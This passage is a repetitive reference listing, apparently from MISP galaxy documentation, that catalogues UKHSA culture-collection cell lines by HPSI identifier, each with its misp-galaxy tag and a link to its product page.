HPSI0514i-oekw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-oekw_2"*

Table 26454. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-oekw_2

HPSI0115i-iinu_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iinu_5"*

Table 26455. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iinu_5

HPSI0614i-kecw_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-kecw_3"*

Table 26456. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-kecw_3

HPSI0614i-voce_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-voce_1"*

Table 26457. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-voce_1

HPSI0115i-hecn_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-hecn_6"*

Table 26458. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-hecn_6

HPSI0514i-qajt_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-qajt_5"*

Table 26459. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-qajt_5

HPSI0514i-kooz_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-kooz_5"*

Table 26460. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-kooz_5

HPSI0614i-wihj_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-wihj_4"*

Table 26461. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-wihj_4

HPSI0914i-rejf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-rejf_2"*

Table 26462. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-rejf_2

HPSI0115i-xaka_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-xaka_2"*

Table 26463. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-xaka_2

HPSI1013i-yemz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-yemz_3"*

Table 26464. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-yemz_3

HPSI0115i-qoog_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qoog_6"*

Table 26465. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qoog_6

HPSI0115i-vazt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-vazt_1"*

Table 26466. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-vazt_1

HPSI0514i-letw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-letw_1"*

Table 26467. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-letw_1

HPSI0514i-naah_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-naah_2"*

Table 26468. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-naah_2

HPSI0514i-aecv_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-aecv_2"*

Table 26469. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-aecv_2

HPSI0914i-tifo_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-tifo_1"*

Table 26470. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-tifo_1

HPSI1113i-qolg_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-qolg_3"*

Table 26471. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-qolg_3

HPSI1113i-bima_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-bima_1"*

Table 26472. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-bima_1

HPSI0114i-lexy_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-lexy_2"*

Table 26473. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-lexy_2

HPSI0715i-meue_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0715i-meue_5"*

Table 26474. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0715i-meue_5

HPSI1014i-nosn_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-nosn_6"*

Table 26475. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-nosn_6

HPSI0614i-voxu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-voxu_2"*

Table 26476. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-voxu_2

HPSI0914i-tifo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-tifo_2"*

Table 26477. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-tifo_2

HPSI0513i-golb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-golb_1"*

Table 26478. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-golb_1

HPSI0413i-yuze_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-yuze_1"*

Table 26479. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-yuze_1

HPSI0913i-vopm_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-vopm_2"*

Table 26480. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-vopm_2

HPSI0413i-xekf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-xekf_1"*

Table 26481. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-xekf_1

HPSI1113i-wetu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-wetu_2"*

Table 26482. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-wetu_2

HPSI0413i-peop_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-peop_2"*

Table 26483. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-peop_2

HPSI0215i-yoch_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-yoch_6"*

Table 26484. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-yoch_6

HPSI0115i-qoog_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-qoog_4"*

Table 26485. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-qoog_4

HPSI0715i-meue_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0715i-meue_4"*

Table 26486. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0715i-meue_4

HPSI0514i-aomr_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-aomr_5"*

Table 26487. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-aomr_5

HPSI0314i-cuhk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-cuhk_2"*

Table 26488. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-cuhk_2

HPSI0614i-voxu_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-voxu_1"*

Table 26489. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-voxu_1

HPSI0614i-eisk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-eisk_3"*

Table 26490. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-eisk_3

HPSI0613i-funp_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-funp_3"*

Table 26491. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-funp_3

HPSI0413i-iakz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-iakz_1"*

Table 26492. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-iakz_1

HPSI1213i-nusw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-nusw_2"*

Table 26493. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-nusw_2

HPSI0413i-coxy_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-coxy_3"*

Table 26494. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-coxy_3

HPSI0713i-nemb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-nemb_1"*

Table 26495. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-nemb_1

HPSI0614i-gawh_12

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-gawh_12"*

Table 26496. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-gawh_12

HPSI0714i-ouzk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-ouzk_4"*

Table 26497. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-ouzk_4

HPSI0613i-liun_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-liun_2"*

Table 26498. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-liun_2

HPSI1213i-nekd_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-nekd_1"*

Table 26499. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-nekd_1

HPSI1113i-eofe_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-eofe_1"*

Table 26500. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-eofe_1

HPSI0514i-letw_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-letw_5"*

Table 26501. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-letw_5

HPSI0715i-aowh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0715i-aowh_2"*

Table 26502. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0715i-aowh_2

HPSI0714i-meet_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-meet_3"*

Table 26503. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-meet_3

HPSI0614i-gawh_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-gawh_7"*

Table 26504. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-gawh_7

HPSI0714i-ouzk_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-ouzk_5"*

Table 26505. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-ouzk_5

HPSI0413i-uahf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-uahf_3"*

Table 26506. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-uahf_3

HPSI1213i-babk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-babk_2"*

Table 26507. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-babk_2

HPSI1113i-bima_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-bima_2"*

Table 26508. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-bima_2

HPSI0914i-suop_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-suop_5"*

Table 26509. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-suop_5

HPSI0714i-kute_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-kute_4"*

Table 26510. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-kute_4

HPSI0914i-iezw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-iezw_2"*

Table 26511. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-iezw_2

HPSI1014i-sehl_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-sehl_6"*

Table 26512. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-sehl_6

HPSI0514i-mure_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-mure_4"*

Table 26513. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-mure_4

HPSI0714i-kute_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-kute_5"*

Table 26514. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-kute_5

HPSI0714i-nufh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-nufh_3"*

Table 26515. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-nufh_3

HPSI0714i-nufh_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-nufh_4"*

Table 26516. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-nufh_4

HPSI1113i-wahn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-wahn_1"*

Table 26517. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-wahn_1

HPSI0514i-sohd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-sohd_3"*

Table 26518. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-sohd_3

HPSI0414i-oikd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oikd_2"*

Table 26519. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oikd_2

HPSI0614i-oicx_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-oicx_6"*

Table 26520. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-oicx_6

HPSI0613i-zisa_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-zisa_3"*

Table 26521. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-zisa_3

HPSI1014i-babz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-babz_3"*

Table 26522. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-babz_3

HPSI0215i-oilg_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-oilg_1"*

Table 26523. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-oilg_1

HPSI0514i-rutc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-rutc_2"*

Table 26524. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-rutc_2

HPSI0614i-miaj_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-miaj_6"*

Table 26525. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-miaj_6

HPSI1213i-tolg_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-tolg_6"*

Table 26526. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-tolg_6

HPSI0614i-kegd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-kegd_2"*

Table 26527. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-kegd_2

HPSI0214i-poih_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-poih_4"*

Table 26528. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-poih_4

HPSI0414i-xojn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-xojn_3"*

Table 26529. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-xojn_3

HPSI0914i-kajh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-kajh_2"*

Table 26530. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-kajh_2

HPSI1014i-tixi_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-tixi_4"*

Table 26531. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-tixi_4

HPSI0714i-iudw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-iudw_1"*

Table 26532. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-iudw_1

HPSI0314i-wigw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-wigw_2"*

Table 26533. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-wigw_2

HPSI0914i-laey_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-laey_6"*

Table 26534. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-laey_6

HPSI0614i-miaj_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-miaj_4"*

Table 26535. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-miaj_4

HPSI0914i-kajh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-kajh_3"*

Table 26536. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-kajh_3

HPSI1013i-sita_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-sita_1"*

Table 26537. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-sita_1

HPSI0215i-oilg_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-oilg_3"*

Table 26538. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-oilg_3

HPSI1014i-qayj_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-qayj_4"*

Table 26539. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-qayj_4

HPSI0914i-zerv_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-zerv_7"*

Table 26540. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-zerv_7

HPSI0215i-fawm_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-fawm_2"*

Table 26541. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-fawm_2

HPSI0514i-puie_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-puie_5"*

Table 26542. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-puie_5

HPSI1213i-tolg_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-tolg_4"*

Table 26543. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-tolg_4

HPSI0214i-poih_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-poih_2"*

Table 26544. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-poih_2

HPSI0614i-paab_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-paab_4"*

Table 26545. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-paab_4

HPSI0914i-zerv_8

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-zerv_8"*

Table 26546. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-zerv_8

HPSI0414i-oaqd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oaqd_3"*

Table 26547. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oaqd_3

HPSI1014i-qayj_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-qayj_3"*

Table 26548. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-qayj_3

HPSI0414i-seru_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-seru_7"*

Table 26549. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-seru_7

HPSI1014i-kefb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-kefb_1"*

Table 26550. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-kefb_1

HPSI0414i-oaqd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oaqd_2"*

Table 26551. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oaqd_2

HPSI0414i-seru_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-seru_1"*

Table 26552. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-seru_1

HPSI0914i-laey_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-laey_4"*

Table 26553. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-laey_4

HPSI0714i-iudw_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-iudw_4"*

Table 26554. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-iudw_4

HPSI0414i-naju_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-naju_1"*

Table 26555. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-naju_1

HPSI1014i-quls_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-quls_2"*

Table 26556. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-quls_2

HPSI0614i-paab_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-paab_3"*

Table 26557. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-paab_3

HPSI0714i-fasu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-fasu_2"*

Table 26558. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-fasu_2

HPSI0914i-lopq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-lopq_1"*

Table 26559. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-lopq_1

HPSI0514i-tavh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-tavh_2"*

Table 26560. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-tavh_2

HPSI0414i-eafb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-eafb_1"*

Table 26561. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-eafb_1

HPSI0913i-kojv_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-kojv_2"*

Table 26562. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-kojv_2

HPSI0913i-laia_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-laia_4"*

Table 26563. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-laia_4

HPSI0414i-puvg_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-puvg_1"*

Table 26564. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-puvg_1

HPSI0614i-fovu_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-fovu_5"*

Table 26565. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-fovu_5

HPSI0414i-zazi_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-zazi_5"*

Table 26566. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-zazi_5

HPSI0614i-eavo_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-eavo_1"*

Table 26567. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-eavo_1

HPSI0114i-veui_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-veui_3"*

Table 26568. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-veui_3

HPSI0913i-gooj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-gooj_1"*

Table 26569. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-gooj_1

HPSI0414i-eevy_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-eevy_7"*

Table 26570. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-eevy_7

HPSI0514i-eoxi_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-eoxi_6"*

Table 26571. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-eoxi_6

HPSI0414i-biiw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-biiw_1"*

Table 26572. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-biiw_1

HPSI0414i-kefk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-kefk_2"*

Table 26573. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-kefk_2

HPSI0414i-cekz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-cekz_1"*

Table 26574. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-cekz_1

HPSI0714i-mejk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-mejk_1"*

Table 26575. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-mejk_1

HPSI0414i-zazi_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-zazi_4"*

Table 26576. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-zazi_4

HPSI0414i-xugr_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-xugr_2"*

Table 26577. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-xugr_2

HPSI0414i-wize_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-wize_1"*

Table 26578. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-wize_1

HPSI0813i-guss_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-guss_1"*

Table 26579. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-guss_1

HPSI1013i-aetc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-aetc_1"*

Table 26580. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-aetc_1

HPSI1113i-waus_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-waus_1"*

Table 26581. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-waus_1

HPSI0714i-rajk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-rajk_1"*

Table 26582. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-rajk_1

HPSI0414i-jetz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-jetz_1"*

Table 26583. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-jetz_1

HPSI0414i-eevy_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-eevy_6"*

Table 26584. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-eevy_6

HPSI0614i-koqx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-koqx_1"*

Table 26585. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-koqx_1

HPSI0614i-guyj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-guyj_2"*

Table 26586. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-guyj_2

HPSI0714i-oebj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-oebj_1"*

Table 26587. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-oebj_1

HPSI1013i-mijn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-mijn_2"*

Table 26588. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-mijn_2

HPSI0614i-foyj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-foyj_1"*

Table 26589. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-foyj_1

HPSI0914i-hidy_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-hidy_3"*

Table 26590. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-hidy_3

HPSI0614i-dixh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-dixh_2"*

Table 26591. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-dixh_2

HPSI0414i-oulr_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-oulr_2"*

Table 26592. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-oulr_2

HPSI0414i-walu_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-walu_1"*

Table 26593. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-walu_1

HPSI0614i-zoio_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-zoio_2"*

Table 26594. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-zoio_2

HPSI0414i-fixm_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-fixm_2"*

Table 26595. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-fixm_2

HPSI0414i-lavd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-lavd_2"*

Table 26596. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-lavd_2

HPSI0614i-fovu_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-fovu_2"*

Table 26597. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-fovu_2

HPSI0714i-gibe_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-gibe_2"*

Table 26598. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-gibe_2

HPSI0914i-hidy_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-hidy_4"*

Table 26599. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-hidy_4

HPSI1013i-funy_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-funy_1"*

